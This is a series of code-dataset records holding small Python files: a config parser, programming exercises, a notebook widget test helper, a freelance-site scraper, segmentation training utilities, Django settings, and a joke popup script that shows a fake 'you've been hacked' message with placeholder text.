配置里面如果设置了环境就返回设置好的,没有就返回default环境\n\tdef Env(self) -> env.AppEnv:\n\t\tif self.env_ == None:\n\t\t\treturn env.Default\n\t\treturn self.env_\n\n\t# 开始按照文件扩展名分配解析函数解析配置文件\n\tdef ParseBytes(self, fileExt: str, content: bytearray)->Sequence[Any, error]:\n\t\tif fileExt == \"\":\n\t\t\treturn None, \"{0}, fileExt {1} is not supported yet\".format(\"no parser found\", fileExt)\n\t\ttry:\n\t\t\tparserFn = self.parsers[fileExt]\n\t\texcept KeyError:\n\t\t\treturn None, \"{0}, fileExt {1} is not supported yet\".format(\"no parser found\", fileExt)\n\t\tcontentNew, errHelper = self.executeBeforeHelpers(content, self.helpers)\n\t\tif errHelper != None:\n\t\t\treturn None, \"{0}, content=\\n{1}\".format(errHelper, str(contentNew))\n\n\t\tobj, errParser = parserFn(contentNew)\n\t\tif errParser != None:\n\t\t\treturn None, \"{0}, content=\\n{1}\".format(errParser, str(contentNew))\n\t\treturn obj, None\n\n\t# executeBeforeHelpers 执行\n\t# def executeBeforeHelpers(self, input: bytearray, helpers: list[beforeHelper]) -> Sequence[bytearray, error]:\n\tdef executeBeforeHelpers(self, input: bytearray, helpers: list[Any]) -> Sequence[bytearray, error]:\n\t\tif len(helpers) == 0:\n\t\t\treturn input, None\n\t\toutput = input\n\t\tfor helper in helpers:\n\t\t\toutput, err = helper.Func(self, output)\n\t\t\tif err != None:\n\t\t\t\treturn None, \"beforeHelper={0} has error:{1}\".format(helper.Name, err)\n\t\treturn output, err\n\n\t# 检查该配置文件是否存在\n\tdef Exists(self, confName: str) -> bool:\n\t\treturn path.exists(self.confFileRealPath(confName))\n\n\t# 注册解析能力\n\t# def RegisterParserFunc(self, fileExt: str, fn: ParserFunc) -> error:\n\tdef RegisterParserFunc(self, fileExt: str, fn: Any) -> error:\n\t\thas = True\n\t\tif fileExt == \"\":\n\t\t\treturn \"fileExt is empty\"\n\t\ttry:\n\t\t\tparserFn = self.parsers[fileExt]\n\t\texcept KeyError:\n\t\t\thas = False\n\t\tif has:\n\t\t\treturn \"parser={0} already exists\".format(fileExt)\n\t\tself.parsers[fileExt] = fn\n\t\treturn None\n\n\t# def RegisterBeforeFunc(self, name: str, fn: BeforeFunc) -> error:\n\tdef RegisterBeforeFunc(self, name: str, fn: Any) -> error:\n\t\tif name == \"\":\n\t\t\treturn \"name is empty, not allow\"\n\t\tfor h1 in self.helpers:\n\t\t\tif name == h1.Name:\n\t\t\t\treturn \"beforeHelper={0} already exists\".format(name)\n\t\tself.helpers.extend(newBeforeHelper(name, fn))\n\t\treturn None\n\n# 为了在编译期即确保实现了接口\n# var _ Conf = (*conf)(nil)\n","repo_name":"liziwei01/pywebio-file-appui","sub_path":"library/confi/conf_main.py","file_name":"conf_main.py","file_ext":"py","file_size_in_byte":5028,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"74387793213","text":"import tkinter\nfrom tkinter import messagebox\n\nroot = tkinter.Tk()\nroot.withdraw()\n\ncount = 0\n\nmsg_box = messagebox.showwarning(\"NOME DA PESSOA\", \"VOCÊ FOI HACKEADO!\")\n#Quando selecionado 'Ok' exibirá a mensagem que você desejar.\nif msg_box == 'ok':\n msg_box = messagebox.showwarning(\"TÍTULO\", \"PRA SOLUCIONAR ISSO PRECISO QUE VOCÊ RESPONDA MINHA PERGUNTA\")\n \nif msg_box == 'ok':\n msg_box = messagebox.askquestion(\"TÍTULO DA PERGUNTA\", \"FAÇA UMA PERGUNTA AQUI\")\n#Caso seja selecionado o 'não' ele conta +1.\nwhile msg_box == 'no':\n count += 1\n msg_box = messagebox.askquestion(\"TÍTULO DA PERGUNTA\", \"PERGUNTA NOVAMENTE\")\n if (count == 5):\n #Caso seja selecionado 5 vezes o 'não' ele exibe a mensagem de erro.\n msg_box = messagebox.showerror(\"TITULO DO ERROR\", \"ESCREVA AQUI UMA MENSAGEM DE ERROR\")\n break\n#Caso seja selecionado yes será exibido essa mensagem.\nif msg_box == 'yes':\n msg_box = messagebox.showinfo(\"TITULO DA INFO\", \"ESCREVA AQUI ALGUMA INFO\") \n","repo_name":"GabrieLogan/Project-python","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1015,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"27256397458","text":"def shoot_command_func(index, power, targets):\n if 0 <= index < len(targets):\n targets[index] -= power\n if targets[index] <= 0:\n targets.pop(index)\n return targets\n\n\ndef add_command_func(index, value, targets):\n if 0 <= index < len(targets):\n targets.insert(index, value)\n else:\n print(\"Invalid placement!\")\n return targets\n\n\ndef strike_command_func(index, radius, targets):\n if 0 > index - radius or len(targets) <= index + radius:\n print(\"Strike missed!\")\n else:\n # for target in range(len(targets)-1, -1, -1):\n # if index - radius <= target <= index + radius:\n # targets.pop(target)\n del targets[index - radius:index + radius + 1]\n return targets\n\n\ndef shooting_targets_func(targets):\n while True:\n command = input()\n if command == \"End\":\n break\n to_do, index, value = command.split(\" \")\n if to_do == \"Shoot\":\n shoot_command_func(int(index), int(value), targets)\n elif to_do == \"Add\":\n add_command_func(int(index), int(value), targets)\n elif to_do == \"Strike\":\n strike_command_func(int(index), int(value), targets)\n targets = list(map(str, targets))\n return targets\n\n\ndata = list(map(int, input().split()))\nfinal_data = shooting_targets_func(data)\nprint(\"|\".join(final_data))\n","repo_name":"Moramarth/SoftUni-Programming-Fundamentals-with-Python-september-2022","sub_path":"mid_exam_prep/moving_target.py","file_name":"moving_target.py","file_ext":"py","file_size_in_byte":1384,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"42029853248","text":"\nimport jp_proxy_widget\nimport time\n\nclass ValidationSuite:\n\n def __init__(self, success=\"Tests completed with no exception.\", failure=\"TESTS FAILED\"):\n self.widget_validator_list = []\n self.widget_to_validator = {}\n self.success = success\n self.failure = failure\n\n def add_validation(self, widget, validation):\n self.widget_validator_list.append((widget, validation))\n self.widget_to_validator[widget] = validation\n\n def validate(self, widget):\n validator = self.widget_to_validator[widget]\n validator()\n\n def run_all_in_widget(self, delay_ms=1000):\n \"\"\"\n Validate all in a widget display.\n This is suitable for running in a notebook using \"run all\" as the last step\n because the final widget is guaranteed to initialize last (which is not true\n for other cell code execution at this writing).\n The implementation includes a delay in the python kernel and a javascript delay\n to allow any unresolved operations in tested widgets to complete.\n \"\"\"\n #print(\"sleeping in kernel interface...\")\n #time.sleep(delay_ms / 1000.0)\n print(\"initializing validator widget.\")\n validator_widget = jp_proxy_widget.JSProxyWidget()\n\n def validate_all():\n try:\n for (widget, validator) in self.widget_validator_list:\n validator()\n except:\n validator_widget.js_init(\"\"\"\n $(\"
    \" + failure + \"
    \").appendTo(element);\n \"\"\", failure=self.failure)\n raise\n else:\n validator_widget.js_init(\"\"\"\n $(\"
    \" + success + \"
    \").appendTo(element);\n \"\"\", success=self.success)\n\n validator_widget.js_init(\"\"\"\n element.html(\"Delaying validators to allow environment to stabilize\");\n\n var call_back = function() {\n element.html(\"Validator Summary\");\n validate_all();\n };\n\n setTimeout(call_back, delay_ms);\n \"\"\", validate_all=validate_all, delay_ms=delay_ms)\n\n return validator_widget.debugging_display()\n","repo_name":"AaronWatters/jp_proxy_widget","sub_path":"jp_proxy_widget/notebook_test_helpers.py","file_name":"notebook_test_helpers.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","stars":59,"dataset":"github-code","pt":"78"} +{"seq_id":"40726459411","text":"# input n value\nnumberOfTests = int(input())\n\n# the input string to be read\ndef removeEven(string):\n\tevenNumbersToRemove = 0\n\tremoveList = \"\"\n\tsize = len(string)\n\n\tfor j in string:\n\t\tif j in removeList:\n\t\t\tsize -= 2\n\t\t\tremoveList = \"\"\n\t\telse:\n\t\t\tremoveList = removeList + j\n\treturn size\n\n# description of the test cases\nfor i in range(numberOfTests):\n\n\t# function to calculate how many characters should be removed\n\tprint(removeEven(input()))\n\t\n\n\n\t","repo_name":"nmauropp/TEP-2023-aula-1","sub_path":"C-get-even-string.py","file_name":"C-get-even-string.py","file_ext":"py","file_size_in_byte":448,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17612709728","text":"from dftpart import gfea3\nfrom pyscf import lib\n\npar = 8\nwith lib.with_omp_threads(par):\n fr0 = gfea3.GFEA()\n fr0.inputstyle = 'frg'\n fr0.method = ['hf', '6-31gss','charge']\n fr0.gjfname = 'c8b'\n fr0.output = 'c8b'\n fr0.verbose = 9\n fr0.showinter = True\n #fr0.do_deriv = True\n fr0.kernel()\n\n","repo_name":"hebrewsnabla/dftpart","sub_path":"test_2body/c8b/gfea_c8.py","file_name":"gfea_c8.py","file_ext":"py","file_size_in_byte":318,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"44980850558","text":"from requests import Response\nfrom requests_html import HTMLSession\nfrom sortutils import findWP, hasWords, hasWords2, hasWordsCamel, copyPattern, findW\nfrom urlmoder import mod_url\nfrom saver import write_csv\nfrom helpers import repeator\nimport re\n\nFILE = 'C:/Users/vipar/OneDrive/Desktop/FData/florders.csv'\nURL = \"https://www.fl.ru/projects/category/programmirovanie/?page=&kind=5\"\n\n\ndef get_content_body(response: Response):\n\n b_post = response.html.find('.b-post__txt')\n\n post_content = [post.text for post in b_post if len(post.text.strip().replace('\\n', ''))]\n\n tmp_list = [post for post in post_content if post.isnumeric() == False and hasWords(post,\n ['исполнитель определён', 'больше 300', 'вакансия (россия)']) == False and hasWordsCamel(post, ['Вакансия']) == False \n and findW(post, \"Заказ\") == False and findW(post, \"Вакансия\") == False and findWP(post, \"Конкурс\\s+\\w+\") == False]\n\n return tmp_list\n\ndef get_link_header(response: Response):\n b_post_links = response.html.find('.b-post__link')\n \n post_list = [[*post.absolute_links,] for post in b_post_links]\n\n post_dict = dict()\n\n for x in post_list:\n post_dict[x[0]] = x[0]\n\n post_list = [post for post in post_dict.keys()]\n\n return post_list\n\ndef get_link_name(response: Response):\n b_post_links = response.html.find('.b-post__link')\n post_list = [post.text for post in b_post_links if hasWords2(post.text, ['ответов', 'ответа', 'исполнитель', 'определён' 'нет ответов', 'ответ']) == False \n and hasWordsCamel(post.text, ['Нет участников']) == False]\n\n return post_list\n\ndef get_type_trade(response: Response):\n b_post_price = response.html.find('.b-post__price')\n\n price_list = list()\n\n for post in b_post_price:\n text = post.text\n type_trade = \"\"\n rewards = re.findall(r'\\d+', text)\n delimeter = ''\n reward_str = ''\n\n if hasWords(text.lower(), ['безопасная сделка']): \n type_trade = \"безопасная сделка\".capitalize() \n else: \n type_trade = \"Не указано\"\n \n if re.search(r'—', text):\n delimeter = '—'\n reward_str = (f\"{delimeter}\").join(rewards)\n reward_str += \" руб\"\n elif hasWords(text.lower(), ['по договоренности', 'по результатам собеседования']):\n reward_str = copyPattern(text.lower(), ['по договоренности', 'по результатам собеседования'])\n else:\n reward_str = \" \".join(rewards).strip()\n reward_str += \" руб\"\n \n datatup = tuple([type_trade, reward_str])\n price_list.append(datatup)\n\n return price_list\n\ndef get_pages(response: Response):\n b_post_pages = response.html.find('.b-pager__item')\n\n return int(b_post_pages[-1].text)\n\ndef get_content(response: Response):\n content_list = get_content_body(response)\n link_list = get_link_header(response)\n linkname_list = get_link_name(response)\n trade_list = get_type_trade(response)\n\n\n orders = list()\n\n for x in range(0, len(content_list)):\n orders.append({\n 'title': linkname_list[x],\n 'link': link_list[x],\n 'description': content_list[x],\n 'pay_type': trade_list[x][0],\n 'cost': trade_list[x][1]\n })\n \n return orders\n\n@repeator(30)\ndef parse():\n session = HTMLSession()\n\n url = mod_url(URL, \"page=\", 1)\n \n r = session.get(url)\n \n r.html.render() \n\n last_index_page = 1\n\n all_orders = list()\n while True:\n orders = list()\n\n pages_count = get_pages(r)\n\n if r.status_code == 200:\n\n for page in range(last_index_page, pages_count + 1):\n print(f\"Парсинг {page} страницы ...\")\n new_url = mod_url(URL, \"page=\", last_index_page) \n r = session.get(new_url)\n r.html.render()\n orders.extend(get_content(r)) \n last_index_page+=1\n\n if len(orders) == 0:\n break\n \n all_orders.extend(orders)\n \n else:\n print(\"Error\")\n\n write_csv(FILE, all_orders)\n\n\nif __name__ == \"__main__\":\n parse()","repo_name":"Essed/FLParser","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4525,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"40929360797","text":"import cv2\nimport tqdm\nimport time\nimport glob\nimport torch\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport segmentation_models_pytorch\nfrom sklearn.model_selection import train_test_split\n\nimport settings\n\ndevice = torch.device('cuda:0' if torch.cuda.is_available() else 'cpu')\n\n\ndef data_preparation(data_folder):\n \"\"\"Read data from folder and create Pandas DataFrames for train/valid\"\"\"\n # Create DataFrame\n images_list = sorted(glob.glob(f'{data_folder}/train/*'))\n masks_list = sorted(glob.glob(f'{data_folder}/masks/*'))\n assert len(images_list) == len(masks_list)\n df = pd.DataFrame()\n df['images'] = images_list\n df['masks'] = masks_list\n # Split data on train/valid\n train, valid = train_test_split(\n df,\n train_size=.8,\n random_state=42,\n shuffle=True\n )\n return train, valid\n\n\nclass LocalDataset(torch.utils.data.Dataset):\n def __init__(self, data, transform=None):\n self.images_files = data['images'].tolist()\n self.masks_files = data['masks'].tolist()\n self.transform = transform\n\n def __len__(self):\n return len(self.images_files)\n\n def __getitem__(self, index):\n # Select on image-mask couple\n image_path = self.images_files[index]\n mask_path = self.masks_files[index]\n # Image processing\n image = cv2.cvtColor(cv2.imread(image_path), cv2.COLOR_BGR2RGB)\n image = image.astype(np.uint8)\n # Maks processing\n mask = cv2.imread(mask_path, cv2.IMREAD_GRAYSCALE)\n mask = np.expand_dims(mask, axis=-1)\n mask = mask.astype(np.uint8)\n # Augmentation\n if self.transform is not None:\n aug = self.transform(image=image, mask=mask)\n image = aug['image']\n mask = aug['mask']\n return image, mask\n\n\ndef batch_image_mask_show(dataloader, number_of_images=5):\n \"\"\"Plot samples after augmentation\"\"\"\n images, masks = next(iter(dataloader))\n images = images.numpy().transpose(0, 2, 3, 1)\n masks = masks.numpy()\n\n fig = plt.figure(figsize=(20, 5))\n for i in range(number_of_images):\n image = settings.STD * images[i] + settings.MEAN\n image = image * 255\n image = image.astype(np.uint8)\n mask = masks[i][0]\n mask = mask.astype(np.uint8)\n\n fig.add_subplot(1, number_of_images + 1, i + 1)\n plt.imshow(image)\n plt.imshow(mask, alpha=.3, cmap='gnuplot')\n plt.xticks([])\n plt.yticks([])\n plt.tight_layout()\n plt.show()\n\n\ndef train_model(model, train_dataloader, valid_dataloader, loss, optimizer, num_epochs, threshold, avg_results):\n \"\"\"Train and Validate Model\"\"\"\n train_loss, valid_loss = [], []\n train_accuracy, valid_accuracy = [], []\n train_dice, valid_dice = [], []\n train_iou, valid_iou = [], []\n train_accuracy, valid_accuracy = [], []\n model = model.to(device)\n min_loss = 1e3\n for epoch in range(num_epochs):\n # Each epoch has a training and validation phase\n for phase in ['Train', 'Valid']:\n if phase == 'Train':\n dataloader = train_dataloader\n model.train() # Set model to training mode\n else:\n dataloader = valid_dataloader\n model.eval() # Set model to evaluate mode\n running_loss = 0.\n running_accuracy = 0.\n running_dice = 0.\n running_iou = 0.\n # Iterate over data.\n with tqdm.tqdm(dataloader, unit='batch') as tqdm_loader:\n for image, mask in tqdm_loader:\n tqdm_loader.set_description(f'Epoch {epoch} - {phase}')\n # Image/Mask to device\n image = image.to(device, dtype=torch.float32)\n mask = mask.to(device, dtype=torch.float32)\n optimizer.zero_grad()\n # forward and backward\n with torch.set_grad_enabled(phase == 'Train'):\n preds = model(image)\n loss_value = loss(preds, mask)\n # Compute metrics\n tp, fp, fn, tn = segmentation_models_pytorch.metrics.functional.get_stats(\n preds, mask.int(), mode='binary', threshold=threshold\n )\n accuracy = segmentation_models_pytorch.metrics.functional.accuracy(\n tp, fp, fn, tn, reduction='micro', zero_division=1.\n ).cpu().detach().numpy() * 100.\n dice = segmentation_models_pytorch.metrics.functional.f1_score(\n tp, fp, fn, tn, reduction='micro', zero_division=1.\n ).cpu().detach().numpy() * 100.\n iou = segmentation_models_pytorch.metrics.functional.iou_score(\n tp, fp, fn, tn, reduction='micro', zero_division=1.\n ).cpu().detach().numpy() * 100.\n # backward + optimize only if in training phase\n if phase == 'Train':\n loss_value.backward()\n optimizer.step()\n # Current statistics\n tqdm_loader.set_postfix(\n Accuracy=accuracy, Dice=dice, IOU=iou, Loss=loss_value.item()\n )\n time.sleep(.1)\n # Statistics\n running_loss += loss_value.item()\n running_accuracy += accuracy\n running_dice += dice\n running_iou += iou\n # Average values along one epoch\n epoch_loss = running_loss / len(dataloader)\n epoch_dice = running_dice / len(dataloader)\n epoch_iou = running_iou / len(dataloader)\n epoch_accuracy = running_accuracy / len(dataloader)\n # Checkpoint\n if epoch_loss < min_loss and phase != 'Train':\n min_loss = epoch_loss\n model = model.cpu()\n torch.save(model, rf'checkpoint\\best.pth')\n model = model.to(device)\n # Epoch final metric\n if phase == 'Train':\n train_loss.append(epoch_loss)\n train_accuracy.append(epoch_accuracy)\n train_dice.append(epoch_dice)\n train_iou.append(epoch_iou)\n else:\n valid_loss.append(epoch_loss)\n valid_accuracy.append(epoch_accuracy)\n valid_dice.append(epoch_dice)\n valid_iou.append(epoch_iou)\n # Show mean results on current epoch\n if avg_results:\n print(f'Average along Epoch {epoch} for {phase}:')\n print('| Loss | Accuracy | Dice | IOU |')\n print(f'| {epoch_loss:.4f} | {epoch_accuracy:.2f} | {epoch_dice:.2f} | {epoch_iou:.2f} |')\n time.sleep(.1)\n # Save model on last epoch\n torch.save(model, rf'checkpoint\\last.pth')\n # Loss and Metrics dataframe\n df = pd.DataFrame.from_dict({\n 'Train_Loss': train_loss,\n 'Valid_Loss': valid_loss,\n 'Train_Accuracy': train_accuracy,\n 'Valid_Accuracy': valid_accuracy,\n 'Train_Dice': train_dice,\n 'Valid_Dice': valid_dice,\n 'Train_IOU': train_iou,\n 'Valid_IOU': valid_iou,\n })\n return model, df\n\n\ndef result_plot(loss_and_metrics):\n \"\"\"Plot loss function and Metrics\"\"\"\n stage_list = np.unique(list(map(lambda x: x.split(sep='_')[0], loss_and_metrics.columns)))\n variable_list = np.unique(list(map(lambda x: x.split(sep='_')[1], loss_and_metrics.columns)))\n sub_plot_len = len(variable_list) // 2\n fig, axs = plt.subplots(sub_plot_len, sub_plot_len, figsize=(16, 16))\n for stage in stage_list:\n for variable, ax in zip(variable_list, axs.ravel()):\n loss_and_metrics[f'{stage}_{variable}'].plot(ax=ax)\n ax.set_title(f'{variable} Plot', fontsize=10)\n ax.set_xlabel('Epoch', fontsize=8)\n ax.set_ylabel(f'{variable} Value', fontsize=8)\n ax.legend()\n fig.suptitle('Result of Model Training', fontsize=12)\n fig.tight_layout()\n plt.show()\n","repo_name":"Sv1r/binary_semantic_segmentation_hubmap","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":8352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"17580690663","text":"import os, sys\nfrom celery.schedules import crontab\nfrom decouple import config, Csv\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n# SECURITY WARNING: keep the secret key used in production secret!\nSECRET_KEY = os.environ.get(\"SECRET_KEY\")\n\nFIELD_ENCRYPTION_KEY=os.environ.get('FIELD_ENCRYPTION_KEY')\n\nALLOWED_HOSTS = config('ALLOWED_HOSTS', cast=Csv())\n\n# Application definition\nINSTALLED_APPS = [\n 'health_check', # required\n 'health_check.db', # stock Django health checkers\n 'health_check.cache',\n 'health_check.storage',\n # 'health_check.contrib.celery', # requires celery\n 'health_check.contrib.redis', # required Redis broker\n 'captcha',\n 'channels',\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'whitenoise.runserver_nostatic',\n 'django.contrib.staticfiles',\n 'django.contrib.sites',\n 'allauth', # new\n 'allauth.account', # new\n # 'allauth.socialaccount',\n 'corsheaders',\n 'rest_framework',\n 'progress',\n 'reading_list.apps.ReadingListConfig',\n 'payments.apps.PaymentsConfig',\n 'users.apps.UsersConfig',\n 'blogs.apps.BlogsConfig',\n 'instapaper.apps.InstapaperConfig',\n 'twitter.apps.TwitterConfig',\n 'pocket.apps.PocketConfig',\n 'articles.apps.ArticlesConfig',\n 'coverage',\n 'django_celery_beat',\n 'encrypted_model_fields',\n 'django_nose',\n 'django_extensions',\n]\n\nMIDDLEWARE = [\n 'corsheaders.middleware.CorsMiddleware',\n 'django.middleware.security.SecurityMiddleware',\n 'whitenoise.middleware.WhiteNoiseMiddleware',\n 'django.contrib.sessions.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\n# we whitelist localhost:3000 because that's where frontend will be served\nCORS_ORIGIN_WHITELIST = (\n 'http://localhost:3000',\n 'http://localhost:8000',\n 'http://localhost:8080',\n)\n\nSESSION_ENGINE = \"django.contrib.sessions.backends.cache\"\nSESSION_CACHE_ALIAS = \"default\"\n\n# Cache time to live is 15 minutes.\nCACHE_TTL = 60 * 15\n\nREST_FRAMEWORK = {\n 'DEFAULT_RENDERER_CLASSES': [\n 'rest_framework.renderers.JSONRenderer',\n 'rest_framework.renderers.BrowsableAPIRenderer',\n ]\n}\n\nROOT_URLCONF = 'pulp.urls'\n\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n \t'DIRS': [os.path.join(BASE_DIR, './templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\n# Celery\nCELERY_ACCEPT_CONTENT = ['application/json']\nCELERY_TASK_SERIALIZER = 'json'\nCELERY_RESULT_SERIALIZER = 'json'\nCELERY_DEFAULT_QUEUE = \"default\"\nCELERY_BEAT_SCHEDULE = {\n 'sync_instapaper': {\n 'task': 'sync_instapaper',\n 'schedule': crontab(minute=0, hour=0),\n },\n 'sync_pocket': {\n 'task': 'sync_pocket',\n 'schedule': crontab(minute=0, hour=0),\n },\n # run every 5 minutes\n 'update_timelines': {\n 'task': 'update_timelines',\n 'schedule': crontab(minute='*/5')\n }\n}\n\nWSGI_APPLICATION = 'pulp.wsgi.application'\n\n# Database\nDATABASES = {\n \"default\": {\n \"ENGINE\": os.environ.get(\"SQL_ENGINE\", \"django.db.backends.sqlite3\"),\n \"NAME\": os.environ.get(\"SQL_DATABASE\", os.path.join(BASE_DIR, \"db.sqlite3\")),\n \"USER\": os.environ.get(\"SQL_USER\", \"user\"),\n \"PASSWORD\": os.environ.get(\"SQL_PASSWORD\", \"password\"),\n \"HOST\": os.environ.get(\"SQL_HOST\", \"localhost\"),\n \"PORT\": os.environ.get(\"SQL_PORT\", \"5432\"),\n }\n}\n\n# Password validation\n# https://docs.djangoproject.com/en/2.2/ref/settings/#auth-password-validators\nAUTH_PASSWORD_VALIDATORS = [\n {\n 'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n },\n {\n 'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n\nAUTHENTICATION_BACKENDS = (\n # Needed to login by username in Django admin, regardless of `allauth`\n \"django.contrib.auth.backends.ModelBackend\",\n\n # `allauth` specific authentication methods, such as login by e-mail\n \"allauth.account.auth_backends.AuthenticationBackend\",\n)\n\nACCOUNT_SIGNUP_FORM_CLASS = 'users.forms.AllauthSignupForm'\n# ACCOUNT_FORMS = {'signup': 'users.forms.MyCustomSignupForm'}\nACCOUNT_USER_MODEL_USERNAME_FIELD = 'username'\nACCOUNT_EMAIL_REQUIRED = True\nACCOUNT_USERNAME_REQUIRED = True\nACCOUNT_SIGNUP_PASSWORD_ENTER_TWICE = True\nACCOUNT_SESSION_REMEMBER = True\nACCOUNT_AUTHENTICATION_METHOD = 'email'\nACCOUNT_UNIQUE_EMAIL = True\nACCOUNT_LOGOUT_ON_GET = True\nACCOUNT_LOGIN_ATTEMPTS_LIMIT = 10\nLOGOUT_REDIRECT_URL = '/'\nLOGIN_REDIRECT_URL = '/'\n\n# emaillogin_project/settings.py\nEMAIL_BACKEND = 'django.core.mail.backends.smtp.EmailBackend'\nEMAIL_USE_TLS = True\nEMAIL_HOST = 'smtp.gmail.com'\nEMAIL_HOST_USER = os.environ.get(\"EMAIL_HOST_USER\")\nEMAIL_HOST_PASSWORD = os.environ.get(\"EMAIL_HOST_PASSWORD\")\nEMAIL_PORT = 587\nACCOUNT_CONFIRM_EMAIL_ON_GET = os.environ.get('ACCOUNT_CONFIRM_EMAIL_ON_GET')\nACCOUNT_EMAIL_VERIFICATION = os.environ.get('ACCOUNT_EMAIL_VERIFICATION', 'optional')\nDEFAULT_FROM_EMAIL = os.environ.get(\"EMAIL_HOST_USER\")\nLOGIN_URL = '/accounts/login'\n\n# Internationalization\n# https://docs.djangoproject.com/en/2.2/topics/i18n/\n\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n\n# Recaptcha\nRECAPTCHA_USE_SSL = True # Defaults to False\n\n# Static files (CSS, JavaScript, Images)\nSTATIC_URL = '/static/'\nSTATIC_ROOT = os.path.join(BASE_DIR, \"staticfiles\")\nSTATICFILES_STORAGE = os.environ.get('STATICFILES_STORAGE')\nSTATICFILES_DIRS = [\n os.path.join(BASE_DIR, \"static\")\n]\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'handlers': {\n 'console': {\n 'class': 'logging.StreamHandler',\n },\n },\n 'loggers': {\n 'django': {\n 'handlers': ['console'],\n 'level': os.getenv('DJANGO_LOG_LEVEL', 'INFO'),\n },\n },\n}\n\nTEST_RUNNER = 'django_nose.NoseTestSuiteRunner'\nCSRF_COOKIE_SECURE = config('CSRF_COOKIE_SECURE', default=False, cast=bool)\nSECURE_SSL_REDIRECT = config('SECURE_SSL_REDIRECT', default=False, cast=bool)\nSESSION_COOKIE_SECURE = config('SESSION_COOKIE_SECURE', default=False, cast=bool)\nSECURE_REDIRECT_EXEMPT = ('ready/',)\nSECURE_PROXY_SSL_HEADER = ('HTTP_X_FORWARDED_PROTO', 'https')\n\nPUPPETEER_HOST = os.environ.get('PUPPETEER_HOST')\nPARSER_HOST = os.environ.get('PARSER_HOST')\nFRONTEND_HOST = os.environ.get('FRONTEND_HOST', '')\n\nCACHES = {\n \"default\": {\n \"BACKEND\": \"django_redis.cache.RedisCache\",\n \"LOCATION\": \"redis://{REDIS_HOST}:{REDIS_PORT}/0\".format(REDIS_HOST=os.environ.get('REDIS_HOST'),\n REDIS_PORT=os.environ.get('REDIS_PORT')),\n \"OPTIONS\": {\n \"CLIENT_CLASS\": \"django_redis.client.DefaultClient\",\n }\n }\n}\n\n# Channels\nASGI_APPLICATION = 'pulp.routing.application'\nCHANNEL_LAYERS = {\n 'default': {\n 'BACKEND': 'channels_redis.core.RedisChannelLayer',\n 'CONFIG': {\n \"hosts\": [(os.environ.get('REDIS_HOST'), os.environ.get('REDIS_PORT'))],\n \"capacity\": 350,\n \"expiry\": 10,\n },\n },\n}\n\nREDIS_URL = \"redis://{REDIS_HOST}:{REDIS_PORT}/0\".format(REDIS_HOST=os.environ.get('REDIS_HOST'),\n REDIS_PORT=os.environ.get('REDIS_PORT'))\n\nSILENCED_SYSTEM_CHECKS = config('SILENCED_SYSTEM_CHECKS', cast=Csv())\nCELERY_BROKER_URL = \"redis://{REDIS_HOST}:{REDIS_PORT}/0\".format(REDIS_HOST=os.environ.get('REDIS_HOST'),\n REDIS_PORT=os.environ.get('REDIS_PORT'))\nCELERY_RESULT_BACKEND = \"redis://{REDIS_HOST}:{REDIS_PORT}/0\".format(REDIS_HOST=os.environ.get('REDIS_HOST'),\n REDIS_PORT=os.environ.get('REDIS_PORT'))\n\nHEALTHCHECK_CELERY_TIMEOUT = os.environ.get('HEALTHCHECK_CELERY_TIMEOUT')\n","repo_name":"rahulsarathy/Pulp","sub_path":"backend/app/pulp/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":8900,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"71686704253","text":"N, M = map(int, input().split())\nA_ls = [int(key) for key in input().split()]\nA_hash = {}\nfor a in A_ls:\n if a in A_hash:\n A_hash[a] += 1\n else:\n A_hash[a] = 1\n\nB_ls = [int(key) for key in input().split()]\nB_hash = {}\nfor b in B_ls:\n if b in B_hash:\n B_hash[b] += 1\n else:\n B_hash[b] = 1\n\n\n\nfor b in B_hash.keys():\n if b not in A_hash or A_hash[b] < B_hash[b]:\n print(\"No\")\n 